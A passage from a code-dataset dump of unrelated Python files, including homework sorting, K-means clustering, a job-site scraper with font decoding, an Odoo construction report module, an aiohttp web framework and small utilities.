fib_list)\n\nfibonacci(0, 777)\n\n\n# Задача-2:\n# Напишите функцию, сортирующую принимаемый список по возрастанию.\n# Для сортировки используйте любой алгоритм (например пузырьковый).\n# Для решения данной задачи нельзя использовать встроенную функцию и метод sort()\n\n# Сортировка Шелла\n# Идея заключается в том, чтобы просматривать элементы беря каждый i тый элементы(начало откуда угодно). В результате мы получаем массив где каждый i-тый элемент отсортирован. Повторяя такую операцию с использованием меньших i, заканчивая 1 результатом будет отсортированный массив.\n\ndef Shell_sort(sort_list):\n t = int(len(sort_list)/2)\n while t > 0:\n for i in range(len(sort_list)-t):\n j = i\n while j >= 0 and sort_list[j] > sort_list[j+t]:\n sort_list[j], sort_list[j+t] = sort_list[j+t], sort_list[j]\n j -= 1\n t = int(t/2)\n pass\n print(sort_list)\n\nShell_sort([2, 10, -12, 66, 20, -13, 4, 4, 0])\n\n# Задача-3:\n# Напишите собственную реализацию стандартной функции filter.\n# Разумеется, внутри нельзя использовать саму функцию filter.\n\n\n# Задача-4:\n# Даны четыре точки А1(х1, у1), А2(x2 ,у2), А3(x3 , у3), А4(х4, у4).\n# Определить, будут ли они вершинами параллелограмма.\n\n","sub_path":"lesson03/home_work/hw03_normal_Sashnikov.py","file_name":"hw03_normal_Sashnikov.py","file_ext":"py","file_size_in_byte":2569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"242019511","text":"import numpy as np\nimport random \n\ndef K_Means(X, K):\n C = []\n C_last = []\n howfar = np.zeros(K) # this one stores the distance of each data to the corresponding center\n Y = np.zeros(len(X)) # handle the for belong index for each center\n\n ran = random.choice(range(len(X)-K))\n for i in range(K):\n C.append(X[ran+i].astype(float))\n C_last.append(X[ran+i].astype(float))\n # howfar.append(0.0)\n\n # convert from list to array\n C = np.array(C)\n C_last = np.array(C_last)\n \n running = True\n while (running):\n # recalculate the dataset for each center \n for j in range(len(X)):\n # reset the howfar array\n for t in range(len(howfar)):\n howfar[t] = 0.0\n for h in range(len(X[0])):\n for m in range(K):\n howfar[m] += (X[j][h] - C[m][h])**2\n\n # select the minimum distance and set the center for the data (Y array)\n minDistance = howfar[0]\n Y[j] = 0 # this data belong to Center 0\n for n in range(K):\n if (minDistance > howfar[n]):\n minDistance = howfar[n]\n Y[j] = n # this data belong to Center \n\n # save the previous center\n for r in range(len(C)):\n for a in range(len(C[0])):\n C_last[r][a] = C[r][a]\n \n # recalculate the center's location\n for p in range(K):\n # reset the location of each center\n for z in range(len(X[0])):\n C[p][z] = 0.0\n # reset the number of data belong to a particular center\n countp = 0\n for q in range(len(Y)):\n if (Y[q] == p):\n countp += 1\n for x in range(len(X[0])):\n C[p][x] += float(X[q][x])\n for y in range(len(X[0])):\n C[p][y] = round(C[p][y]/float(countp), 2)\n # print(\"Number of data belong to group center\", p, \"is:\", countp)\n # print(\"Array Y:\", Y)\n\n \n # check whether the entire algorithm terminated??\n convergence = True\n for b in range(len(C)):\n for d in range(len(C[0])):\n if not (C_last[b][d] == C[b][d]):\n convergence = False\n if convergence:\n running = False\n return C\n\ndef K_Means_better(X, K):\n count = 0\n percent = 0.0\n center_array = []\n center_index = []\n Datasize = K*len(X[0])\n center_vector = np.zeros(Datasize)\n nCenter = True # this variable use to check whether the new center exit or not?\n selectCenterIndex = 0\n while ((count < 100) and (percent < 0.8)):\n \n nCenter = True\n center = K_Means(X, K)\n center_vector = center.ravel() \n # print(\"The center of the invoke \", count)\n # print(center)\n if (count == 0): # if this is the first center\n\n center_array.append(center_vector)\n center_index.append(1)\n else:\n # check whether the new center is coincides with any existed center with unorder appearing\n compareArray = 0\n for i in range(len(center_array)):\n for j in range(Datasize):\n for m in range(Datasize):\n if (center_vector[j] == center_array[i][m]): \n compareArray += 1\n if (compareArray == Datasize):\n center_index[i] += 1\n nCenter = False\n # print(\"There is NOOOOOOOO new center ---- just for check\")\n break\n\n # add the new center into the array after checking.\n if nCenter:\n # print(\"A new center has just come ---------\")\n center_array.append(center_vector)\n center_index.append(1)\n count += 1\n checkPercent = 0.0\n # print(\"Just check the center index\", center_index)\n if (count > 95):\n percent = 0.0\n for k in range(len(center_index)):\n checkPercent = float(center_index[k])/float(count)\n # print(\"The percentage at iteration \", count ,\"is: \", checkPercent)\n if (percent < checkPercent):\n percent = checkPercent\n selectCenterIndex = k\n # print(\"The number of test: \", count)\n print(\"The percentage: \", percent)\n print(\"The center index to be selected is:\", selectCenterIndex)\n\n return center_array[selectCenterIndex]\n\n\n\n\nif __name__ == '__main__':\n \n\n X = np.array([[1,0], [7,4], [9,6], [2,1], [4,8], [0,3], [13,5], [6,8], [7,3], [3,6], \n [2,1], [8,3], [10,2], [3,5], [5,1], [1,9], [10,3], [4,1], [6,6], [2,2]])\n \n K = 3\n # C = K_Means(X, K)\n # print(C)\n centers = K_Means_better(X, K)\n print(\"The better centers: \")\n n = int(len(centers)/len(X[0]))\n indicenter = np.zeros(len(X[0]))\n for f in range(n): \n for l in range(len(X[0])):\n indicenter[l] = centers[f*len(X[0])+l]\n # print(\"Center\", f+1, \":\", indicenter)","sub_path":"machine_learning/project2/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":5184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"15409805","text":"import requests\nimport parsel\nfrom urllib.parse import urljoin\nfrom urllib.request import urlretrieve\nfrom urllib.parse import quote\nfrom io import BytesIO\nfrom fontTools.ttLib import TTFont\nimport pymysql\nimport time\nfrom concurrent.futures import ThreadPoolExecutor\nimport threading\n\n\n##### 填写你自己的用户名和密码、以及数据库的名字\ndb = pymysql.Connect(user='root', password='mysql', database='spider')\ncursor = db.cursor()\n\nlock = threading.Lock()\n# 计数\nCOUNT= 0\n\nbase_url = 'https://www.shixiseng.com/'\nindex_url = 'https://www.shixiseng.com/interns?page={page}&type=intern&keyword={keyword}&area=&months=&days=°ree=&official=&enterprise=&salary=-0&publishTime=&sortType=&city={city}&internExtend='\n\nheaders = {\n 'user-agent': 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36',\n}\n\n\ndef get_hex_charMap(bytesIo: BytesIO):\n \"\"\"\n 1、获得字体与字符的映射\n 2、注意此处映射关系有规律:字形编码即为真实字符的unicode码\n \"\"\"\n font = TTFont(bytesIo)\n # getBestCmap()获取字体中自定义unicode字符的{unicode码的10进制: 字形编码}\n cMap = font.getBestCmap()\n hex_charMap = {chr(key): chr(int(cMap[key][3:], 16)) for index, key in enumerate(cMap) if index > 0}\n return hex_charMap\n\n\ndef get_real_string(unicode_string, hex_charMap):\n \"\"\"抓取的数据调用此方法获取真正的字符串\"\"\"\n if unicode_string is None:\n return ''\n final_string = ''\n for char in unicode_string:\n tmp = hex_charMap.get(char)\n if tmp:\n final_string += tmp\n else:\n final_string += char\n return final_string\n\n\ndef savedb(data: dict):\n \"\"\"存到mysql\"\"\"\n print(\"data:\", data)\n keys = ', '.join(data.keys())\n values = ', '.join([\"%s\"] * len(data))\n sql = \"insert into %s (%s) values (%s)\" % (\"实习僧\", keys, values)\n cursor.execute(sql, tuple(data.values()))\n db.commit()\n\n\ndef get_content(url):\n r = requests.get(url, headers=headers)\n assert r.status_code == 200\n return r.content\n\n\ndef get_html(url):\n content = get_content(url)\n return content.decode('utf8')\n\n\ndef run(keyword, city=\"全国\"):\n global COUNT\n page = 1\n while True:\n url = index_url.format(page=page, keyword=quote(keyword), city=quote(city))\n html = get_html(url)\n\n sel = parsel.Selector(html)\n # 获取字体的下载链接\n font_url = sel.re_first(r'@font-face.*?src: url\\((.*?)\\)')\n font_url = urljoin(base_url, font_url)\n # urlretrieve(font_url, \"实习僧字体.woff\")\n content = get_content(font_url)\n hex_charMap = get_hex_charMap(BytesIO(content))\n # pprint(hex_charMap)\n\n items = sel.css('.intern-wrap.intern-item')\n for item in items:\n data = {}\n data['title'] = item.css('.intern-detail__job>p>a::text').get()\n job_chunk = item.css('.intern-detail__job>p>span::text').extract()\n data['salary_tip'] = ', '.join(job_chunk).replace('|, ', '')\n data['company'] = item.css('.intern-detail__company>p>a::attr(title)').get()\n company_chunk = item.css('.intern-detail__company>p>span::text').extract()\n data['company_tip'] = ''.join(company_chunk)\n job_benefits = item.css('.advantage-wrap>.f-l>span::text').extract()\n data['job_benefits'] = ', '.join(job_benefits)\n data['company_desc'] = item.css('.advantage-wrap>.f-r>span::text').get()\n # 替换真实字符串\n data = {key: get_real_string(value, hex_charMap) for key, value in data.items()}\n # 存入数据库\n with lock:\n savedb(data)\n COUNT += 1\n\n if sel.css('.btn-next::attr(disabled)').get() is None:\n with lock:\n page += 1\n else:\n break\n\n\ndef main():\n try:\n # 输入你想抓取的职位名称,如Java,Python\n keyword = 'Java'\n # 输入你想查找的范围,如北京、上海等,默认是全国\n city = '全国'\n with ThreadPoolExecutor(8) as pool:\n pool.submit(run, keyword, city)\n print(f'共抓取{COUNT}条数据')\n finally:\n cursor.close()\n db.close()\n\n\nif __name__ == '__main__':\n start = time.time()\n main()\n end = time.time()\n print(f\"耗时{end-start} s\")\n","sub_path":"实习僧/shiXiSeng_多线程.py","file_name":"shiXiSeng_多线程.py","file_ext":"py","file_size_in_byte":4466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"255844586","text":"# -*- coding: utf-8 -*-\n\nimport base64\nimport pickle\nfrom irods.pool import Pool\nfrom irods.session import iRODSSession\n\n\"\"\"\nManipulate irods session as a string,\nto be saved inside a database.\n\n===\n\nNOTE: an alternative would have been to use dill instead of pickle,\n# import dill as pickle\nbut suddenly it stopped working\n\nsess = iRODSSession(...)\ndill.dumps(sess)\n\nTypeError: Cannot serialize socket object\n(which is located in list(sess.pool.idle)[0].socket )\n\"\"\"\n\n\nclass iRODSPickleSession(iRODSSession):\n\n def __getstate__(self):\n attrs = {}\n for attr in self.__dict__:\n obj = getattr(self, attr)\n if attr == 'pool':\n attrs['account'] = obj.account\n # attrs['timeout'] = obj.timeout\n else:\n attrs[attr] = obj\n\n return attrs\n\n def __setstate__(self, state):\n\n for name, value in state.items():\n # print(name, value)\n setattr(self, name, value)\n\n self.pool = Pool(state.get('account')) # , state.get('timeout'))\n\n def serialize(self):\n \"\"\"Returns a byte serialized string from the current session\"\"\"\n serialized = pickle.dumps(self)\n return base64.encodestring(serialized)\n\n @staticmethod\n def deserialize(obj):\n return pickle.loads(base64.decodestring(obj))\n","sub_path":"restapi/flask_ext/flask_irods/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"259903627","text":"import os\nimport torch\nimport matplotlib.pyplot as plt\nimport matplotlib\nfrom tqdm import tqdm\nmatplotlib.style.use('ggplot')\n\ndef clean_data(df):\n \"\"\"\n this functions removes those rows from the DataFrame for which there are\n no images in the dataset\n \"\"\"\n drop_indices = []\n print('[INFO]: Checking if all images are present')\n for index, image_id in tqdm(df.iterrows()):\n if not os.path.exists(f\"../input/fashion-product-images-small/images/{image_id.id}.jpg\"):\n drop_indices.append(index)\n print(f\"[INFO]: Dropping indices: {drop_indices}\")\n df.drop(df.index[drop_indices], inplace=True)\n return df\n\n # save the trained model to disk\ndef save_model(epochs, model, optimizer, criterion):\n torch.save({\n 'epoch': epochs,\n 'model_state_dict': model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'loss': criterion,\n }, '../outputs/model.pth')\n\n\n# save the train and validation loss plots to disk\ndef save_loss_plot(train_loss, val_loss):\n plt.figure(figsize=(10, 7))\n plt.plot(train_loss, color='orange', label='train loss')\n plt.plot(val_loss, color='red', label='validataion loss')\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.legend()\n plt.savefig('../outputs/loss.jpg')\n plt.show()","sub_path":"python/Resnet/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"558103117","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS\nfrom .turing_machine import TuringMachine\nfrom .tables import *\n\napp = Flask(__name__)\nCORS(app)\n\ntables = {\n \"division\": division_table,\n \"equals\": equals_table\n }\n\n\n@app.route(\"/test\")\ndef hello():\n print(\"API Functioning normally\")\n return \"Hello World!\"\n\n\n@app.route(\"/execute\")\ndef execute():\n operation = request.args.get(\"operation\")\n input = request.args.get(\"input\").replace(\" \", \"B\") + \"B\"\n\n t = TuringMachine(input, initial_state=\">\",\n final_states=[\"FIM\"],\n transition_table=tables[operation])\n\n while not t.final():\n t.step()\n\n data = {\n \"input_tape\": input,\n \"result_tape\": t.get_tape(),\n \"operation_list\": t.operation_list\n }\n\n return jsonify(data)\n","sub_path":"backend/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"506585888","text":"# -*- coding: utf-8 -*-\n# Carlos Oliveros\n\nfrom odoo import api, fields, models\n\n\nclass InsumosReport(models.AbstractModel):\n _name = 'report.construction.insumos_report'\n _description = 'Get insumos for report.'\n\n @api.model\n def _get_report_values(self, docids, data=None):\n \n materials = []\n workforce = []\n machineries = []\n\n query_stage_data = ''' \n SELECT *\n FROM construction_stage\n WHERE construction_stage.project_id = {}\n '''.format(docids[0])\n\n self.env.cr.execute(query_stage_data) \n stages = self.env.cr.fetchall()\n\n for stage in stages:\n #GET SUPPLIES BY STAGE\n materials_stage = self.get_materials_by_id(stage[0])\n if len(materials_stage) > 0:\n for material_item in materials_stage:\n materials = self.add_input(materials, material_item)\n workforce_stage = self.get_workforce_by_id(stage[0])\n if len(workforce_stage) > 0:\n for workforce_item in workforce_stage:\n workforce = self.add_input(workforce, workforce_item)\n machineries_stage = self.get_machinery_by_id(stage[0])\n if len(machineries_stage) > 0:\n for machineries_item in machineries_stage:\n machineries = self.add_input(machineries, machineries_item)\n\n #GET SUPPLIES BASICS LEVEL 1\n basics_level_1 = self.get_concepts_by_id(stage[0])\n if len(basics_level_1) > 0:\n for basic_level_1 in basics_level_1:\n materials_concept = self.get_materials_by_basic_level_1_id(basic_level_1[0])\n for material_concept in materials_concept:\n materials = self.add_input(materials, material_concept)\n workforce_concepts = self.get_workforce_by_basic_level_1_id(basic_level_1[0])\n for workforce_concept in workforce_concepts:\n workforce = self.add_input(workforce, workforce_concept)\n machineries_concepts = self.get_machinery_by_basic_level_1_id(basic_level_1[0])\n for machineries_concept in machineries_concepts:\n machineries = self.add_input(machineries, machineries_concept)\n\n #GET SUPPLIES BASICS LEVEL 2\n concepts_level_2 = self.get_basics_level_2_by_basic_livel_1_id(basic_level_1[0])\n for concept_level_2 in concepts_level_2:\n\n materials_basic = self.get_materials_by_basic_level_2_id(concept_level_2[0])\n for material_basic in materials_basic:\n materials = self.add_input(materials, material_basic)\n workforce_basics = self.get_workforce_by_basic_level_2_id(concept_level_2[0])\n for workforce_basic in workforce_basics:\n workforce = self.add_input(workforce, workforce_basic)\n machineries_basics = self.get_machinery_by_basic_level_2_id(concept_level_2[0])\n for machineries_basic in machineries_basics:\n machineries = self.add_input(machineries, machineries_basic)\n\n query_indirect_cost = '''\n SELECT \n construction_indirect_cost.name,\n construction_indirect_cost.cost,\n construction_indirect_cost.percentage,\n construction_indirect_cost.cost_type\n FROM construction_indirect_cost_construction_project_rel\n INNER JOIN construction_indirect_cost\n ON construction_indirect_cost_construction_project_rel.construction_indirect_cost_id = construction_indirect_cost.id\n WHERE construction_indirect_cost_construction_project_rel.construction_project_id = {}\n '''.format(docids[0])\n\n self.env.cr.execute(query_indirect_cost) \n indirect_costs = self.env.cr.fetchall()\n print('\\n \\n costos indirectos')\n print(indirect_costs)\n print('\\n \\n costos indirectos')\n\n data = {\n 'materials':materials,\n 'workforce':workforce,\n 'machinery':machineries,\n 'indirect_costs':indirect_costs\n }\n \n return {\n 'data' : data\n }\n\n def get_concepts_by_id(self, id):\n query_concept = ''' \n SELECT\n construction_concept.id,\n construction_concept.code,\n construction_concept.name,\n construction_unit.name,\n construction_concept.cost,\n construction_stage_concept_lines.quantity,\n construction_stage_concept_lines.s_import\n FROM construction_concept\n INNER JOIN construction_stage_concept_lines\n ON construction_stage_concept_lines.concept_id = construction_concept.id\n INNER JOIN construction_unit\n ON construction_unit.id = construction_concept.unit\n WHERE construction_stage_concept_lines.stage_id = {}\n '''.format(id)\n self.env.cr.execute(query_concept) \n concepts = self.env.cr.fetchall()\n return concepts\n \n def get_basics_level_2_by_basic_livel_1_id(self, id):\n query_concept = ''' \n SELECT\n construction_basic.id,\n construction_basic.code,\n construction_basic.name,\n construction_unit.name,\n construction_basic.cost,\n construction_concept_basic_lines.quantity,\n construction_concept_basic_lines.b_import\n FROM construction_basic\n INNER JOIN construction_concept_basic_lines\n ON construction_concept_basic_lines.basic_id = construction_basic.id\n INNER JOIN construction_unit\n ON construction_unit.id = construction_basic.unit\n WHERE construction_concept_basic_lines.concept_id = {}\n '''.format(id)\n self.env.cr.execute(query_concept) \n res = self.env.cr.fetchall()\n return res\n\n def get_materials_by_id(self, id):\n query_materials = ''' \n SELECT\n construction_material.code,\n construction_material.name,\n construction_unit.name as unit,\n construction_material.cost,\n construction_stage_material_lines.quantity,\n construction_stage_material_lines.m_import\n FROM construction_material\n INNER JOIN construction_stage_material_lines\n ON construction_stage_material_lines.material_id = construction_material.id\n INNER JOIN construction_unit\n ON construction_unit.id = construction_material.m_unit\n WHERE construction_stage_material_lines.stage_id = {}\n '''.format(id)\n self.env.cr.execute(query_materials) \n res = self.env.cr.fetchall()\n return res\n\n def get_materials_by_basic_level_1_id(self, id):\n query_materials = ''' \n SELECT\n construction_material.code,\n construction_material.name,\n construction_unit.name as unit,\n construction_material.cost,\n construction_concept_material_lines.quantity,\n construction_concept_material_lines.m_import\n FROM construction_material\n INNER JOIN construction_concept_material_lines\n ON construction_concept_material_lines.material_id = construction_material.id\n INNER JOIN construction_unit\n ON construction_unit.id = construction_material.m_unit\n WHERE construction_concept_material_lines.concept_id = {}\n '''.format(id)\n self.env.cr.execute(query_materials) \n res = self.env.cr.fetchall()\n return res\n\n def get_materials_by_basic_level_2_id(self, id):\n query_materials = ''' \n SELECT\n construction_material.code,\n construction_material.name,\n construction_unit.name as unit,\n construction_material.cost,\n construction_basic_material_lines.quantity,\n construction_basic_material_lines.m_import\n FROM construction_material\n INNER JOIN construction_basic_material_lines\n ON construction_basic_material_lines.material_id = construction_material.id\n INNER JOIN construction_unit\n ON construction_unit.id = construction_material.m_unit\n WHERE construction_basic_material_lines.basic_id = {}\n '''.format(id)\n self.env.cr.execute(query_materials) \n res = self.env.cr.fetchall()\n return res\n\n def get_workforce_by_id(self, id):\n query_workforce = ''' \n SELECT\n construction_workforce.code,\n construction_workforce.name,\n construction_unit.name as unit,\n construction_workforce.cost,\n construction_stage_workforce_lines.quantity,\n construction_stage_workforce_lines.w_import\n FROM construction_workforce\n INNER JOIN construction_stage_workforce_lines\n ON construction_stage_workforce_lines.workforce_id = construction_workforce.id\n INNER JOIN construction_unit\n ON construction_unit.id = construction_workforce.w_unit\n WHERE construction_stage_workforce_lines.stage_id = {}\n '''.format(id)\n self.env.cr.execute(query_workforce) \n workforce = self.env.cr.fetchall()\n return workforce\n\n def get_workforce_by_basic_level_1_id(self, id):\n query_workforce = ''' \n SELECT\n construction_workforce.code,\n construction_workforce.name,\n construction_unit.name as unit,\n construction_workforce.cost,\n construction_concept_workforce_lines.quantity,\n construction_concept_workforce_lines.w_import\n FROM construction_workforce\n INNER JOIN construction_concept_workforce_lines\n ON construction_concept_workforce_lines.workforce_id = construction_workforce.id\n INNER JOIN construction_unit\n ON construction_unit.id = construction_workforce.w_unit\n WHERE construction_concept_workforce_lines.concept_id = {}\n '''.format(id)\n self.env.cr.execute(query_workforce) \n workforce = self.env.cr.fetchall()\n return workforce\n\n def get_workforce_by_basic_level_2_id(self, id):\n query_workforce = ''' \n SELECT\n construction_workforce.code,\n construction_workforce.name,\n construction_unit.name as unit,\n construction_workforce.cost,\n construction_basic_workforce_lines.quantity,\n construction_basic_workforce_lines.w_import\n FROM construction_workforce\n INNER JOIN construction_basic_workforce_lines\n ON construction_basic_workforce_lines.workforce_id = construction_workforce.id\n INNER JOIN construction_unit\n ON construction_unit.id = construction_workforce.w_unit\n WHERE construction_basic_workforce_lines.basic_id = {}\n '''.format(id)\n self.env.cr.execute(query_workforce) \n workforce = self.env.cr.fetchall()\n return workforce\n\n def get_machinery_by_id(self, id):\n query_machinery = ''' \n SELECT\n construction_machinery.code,\n construction_machinery.name,\n construction_unit.name as unit,\n construction_machinery.direct_cost_machinery,\n construction_stage_machinery_lines.quantity,\n construction_stage_machinery_lines.m_import\n FROM construction_machinery\n INNER JOIN construction_stage_machinery_lines\n ON construction_stage_machinery_lines.machinery_id = construction_machinery.id\n INNER JOIN construction_unit\n ON construction_unit.id = construction_machinery.unit\n WHERE construction_stage_machinery_lines.stage_id = {}\n '''.format(id)\n self.env.cr.execute(query_machinery) \n machinery = self.env.cr.fetchall()\n return machinery\n\n def get_machinery_by_basic_level_1_id(self, id):\n query_machinery = ''' \n SELECT\n construction_machinery.code,\n construction_machinery.name,\n construction_unit.name as unit,\n construction_machinery.direct_cost_machinery,\n construction_concept_machinery_lines.quantity,\n construction_concept_machinery_lines.m_import\n FROM construction_machinery\n INNER JOIN construction_concept_machinery_lines\n ON construction_concept_machinery_lines.machinery_id = construction_machinery.id\n INNER JOIN construction_unit\n ON construction_unit.id = construction_machinery.unit\n WHERE construction_concept_machinery_lines.concept_id = {}\n '''.format(id)\n self.env.cr.execute(query_machinery) \n machinery = self.env.cr.fetchall()\n return machinery\n\n def get_machinery_by_basic_level_2_id(self, id):\n query_machinery = ''' \n SELECT\n construction_machinery.code,\n construction_machinery.name,\n construction_unit.name as unit,\n construction_machinery.direct_cost_machinery,\n construction_basic_machinery_lines.quantity,\n construction_basic_machinery_lines.m_import\n FROM construction_machinery\n INNER JOIN construction_basic_machinery_lines\n ON construction_basic_machinery_lines.machinery_id = construction_machinery.id\n INNER JOIN construction_unit\n ON construction_unit.id = construction_machinery.unit\n WHERE construction_basic_machinery_lines.basic_id = {}\n '''.format(id)\n self.env.cr.execute(query_machinery) \n machinery = self.env.cr.fetchall()\n return machinery\n\n def add_input(self, l, obj):\n item = self.to_json_supplies(obj)\n if self.input_exist(l, item):\n return list( map(lambda x : self.update_input(x, item), l) )\n else :\n l.append(item)\n print('sending')\n print(l)\n return l\n\n def to_json_supplies(self, item):\n return {\n 'code' : item[0],\n 'name' : item[1],\n 'unit' : item[2],\n 'cost' : item[3],\n 'quantity' : item[4],\n 'import' : item[5]\n }\n\n def input_exist(self, l, item):\n result = list(filter( lambda x : x['code'] == item['code'], l))\n if len(result) > 0:\n return True\n else:\n return False\n\n def update_input(self, a, b):\n if a['code'] == b['code']:\n a['quantity'] = a['quantity']+b['quantity']\n a['import'] = a['import']+b['import']\n return a\n\n","sub_path":"report/insumos_report.py","file_name":"insumos_report.py","file_ext":"py","file_size_in_byte":15334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"54180911","text":"import logging\nimport asyncio\nfrom typing import Union, List, Optional, TYPE_CHECKING\nfrom aiohttp import web\nfrom aiohttp.web_urldispatcher import StaticResource\nfrom .session import CookieSession\nfrom ..utils import get_ioloop\nfrom ..utils.jsdict import JsDict\nimport aiohttp_cors\nfrom . import log\n\nif TYPE_CHECKING:\n from .permission import Permissions\n\nlogger = logging.getLogger(__name__)\n\n\nclass SlimTables(JsDict):\n # key: table_name\n # value: SQLView\n def __repr__(self):\n return ''\n\n\nclass SlimPermissions(JsDict):\n def __init__(self, default, **kwargs):\n super().__init__(**kwargs)\n setattr(self, '_default_val', default)\n\n def __getitem__(self, item):\n return self.get(item, self.get('_default_val'))\n\n def __repr__(self):\n return ''\n\n __getattr__ = __getitem__\n\n\nclass ApplicationOptions:\n def __init__(self):\n self.cookies_secret = b'use a secret'\n self.session_cls = CookieSession\n\n\nclass CORSOptions:\n def __init__(self, host, *, allow_credentials=False, expose_headers=(),\n allow_headers=(), max_age=None, allow_methods=None):\n self.host = host\n self.allow_credentials = allow_credentials\n self.expose_headers = expose_headers\n self.allow_headers = allow_headers\n self.max_age = max_age\n self.allow_methods = allow_methods\n\n\nclass Application:\n def __init__(self, *, cookies_secret: bytes, log_level=logging.DEBUG, session_cls=CookieSession,\n permission: Optional['Permissions'], client_max_size=2 * 1024 * 1024,\n cors_options: Optional[Union[CORSOptions, List[CORSOptions]]] = None):\n \"\"\"\n :param cookies_secret:\n :param log_level:\n :param permission: `ALL_PERMISSION`, `EMPTY_PERMISSION` or a `Permissions` object\n :param session_cls:\n :param client_max_size: 2MB is default client_max_body_size of nginx\n \"\"\"\n from .route import get_route_middleware, Route\n from .permission import Permissions, Ability, ALL_PERMISSION, NO_PERMISSION\n\n self.route = Route(self)\n if permission is ALL_PERMISSION:\n logger.warning('app.permission is ALL_PERMISSION, it means everyone has all permissions for any table')\n self.permission = Permissions(self)\n self.permission.add(Ability(None, {'*': '*'})) # everyone has all permission for all table\n elif permission is None or permission is NO_PERMISSION:\n self.permission = Permissions(self) # empty\n else:\n self.permission = permission\n permission.app = self\n\n self.tables = SlimTables()\n self.table_permissions = SlimPermissions(self.permission)\n\n if log_level:\n log.enable(log_level)\n\n if isinstance(cors_options, CORSOptions):\n self.cors_options = [cors_options]\n else:\n self.cors_options = cors_options\n\n self.options = ApplicationOptions()\n self.options.cookies_secret = cookies_secret\n self.options.session_cls = session_cls\n self._raw_app = web.Application(middlewares=[get_route_middleware(self)], client_max_size=client_max_size)\n\n def _prepare(self):\n from .view import AbstractSQLView\n from .permission import Permissions\n self.route.bind()\n\n for _, cls in self.route.views:\n if issubclass(cls, AbstractSQLView):\n assert cls.table_name not in self.tables, \"sorry, you bind the table (%r) to\" \\\n \" multi views (%r, %r), it's not allowed.\" % (\n cls.table_name, self.tables[cls.table_name].__name__,\n cls.__name__)\n self.tables[cls.table_name] = cls\n if isinstance(cls.permission, Permissions):\n self.table_permissions[cls.table_name] = cls.permission\n\n # Configure default CORS settings.\n if self.cors_options:\n vals = {}\n for i in self.cors_options:\n vals[i.host] = aiohttp_cors.ResourceOptions(\n allow_credentials=i.allow_credentials,\n expose_headers=i.expose_headers,\n allow_headers=i.allow_headers,\n max_age=i.max_age,\n allow_methods=i.allow_methods\n )\n cors = aiohttp_cors.setup(self._raw_app, defaults=vals)\n else:\n cors = None\n\n # Configure CORS on all routes.\n ws_set = set()\n for url, wsh in self.route.websockets:\n ws_set.add(wsh._handle)\n\n if cors:\n for r in list(self._raw_app.router.routes()):\n if type(r.resource) != StaticResource and r.handler not in ws_set:\n cors.add(r)\n\n for _, cls in self.route.views:\n cls._ready()\n\n def run(self, host, port):\n self._raw_app.on_startup.append(self.on_startup)\n self._raw_app.on_shutdown.append(self.on_shutdown)\n self._raw_app.on_cleanup.append(self.on_cleanup)\n self._prepare()\n web.run_app(host=host, port=port, app=self._raw_app)\n\n def timer(self, interval_seconds, *, exit_when):\n loop = get_ioloop()\n\n def wrapper(func):\n def runner():\n if exit_when and exit_when():\n return\n\n loop.call_later(interval_seconds, runner)\n\n if asyncio.iscoroutinefunction(func):\n asyncio.ensure_future(func())\n else:\n func()\n\n loop.call_later(interval_seconds, runner)\n return func\n\n return wrapper\n\n async def on_startup(self, app):\n pass\n\n async def on_shutdown(self, app):\n pass\n\n async def on_cleanup(self, app):\n pass\n","sub_path":"slim/base/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"200116841","text":"__author__ = 'maskari'\nfrom SinglyLinkedList import SinglyLinkedList\n\n\nclass ConcatenateLinkedList:\n\n def concatenate_lists(self, l, m):\n if not isinstance(l, SinglyLinkedList) or not isinstance(m, SinglyLinkedList):\n raise TypeError('L and M must be linked lists')\n node = l._head\n while node._next is not None:\n node = node._next\n node._next = m._head\n return l\n\nif __name__ == '__main__':\n l = SinglyLinkedList()\n m = SinglyLinkedList()\n l.insert(1)\n l.insert(2)\n print('L is {0}'.format(l))\n\n m.insert(3)\n m.insert(4)\n print('m is {0}'.format(m))\n\n cn = ConcatenateLinkedList()\n res = cn.concatenate_lists(l, m)\n print('L\\' is {0}'.format(res))","sub_path":"python/LinkedList/ConcatenateLinkedList.py","file_name":"ConcatenateLinkedList.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"59123257","text":"#+\n# Setuptools script to install DBussy. Make sure setuptools\n# is installed.\n# Invoke from the command line in this directory as follows:\n#\n# python3 setup.py build\n# sudo python3 setup.py install\n#\n# Written by Lawrence D'Oliveiro .\n#-\n\nimport sys\nimport setuptools\nfrom setuptools.command.build_py import \\\n build_py as std_build_py\n\nclass my_build_py(std_build_py) :\n \"customization of build to perform additional validation.\"\n\n def run(self) :\n try :\n exec \\\n (\n \"async def dummy() :\\n\"\n \" pass\\n\"\n \"#end dummy\\n\"\n )\n except SyntaxError :\n sys.stderr.write(\"This module requires Python 3.5 or later.\\n\")\n sys.exit(-1)\n #end try\n super().run()\n #end run\n\n#end my_build_py\n\nsetuptools.setup \\\n (\n name = \"Qahirah_xcffib\",\n version = \"0.1\",\n description = \"asyncio-friendly language bindings for xcffib, for Python 3.5 or later\",\n author = \"Lawrence D'Oliveiro\",\n author_email = \"ldo@geek-central.gen.nz\",\n url = 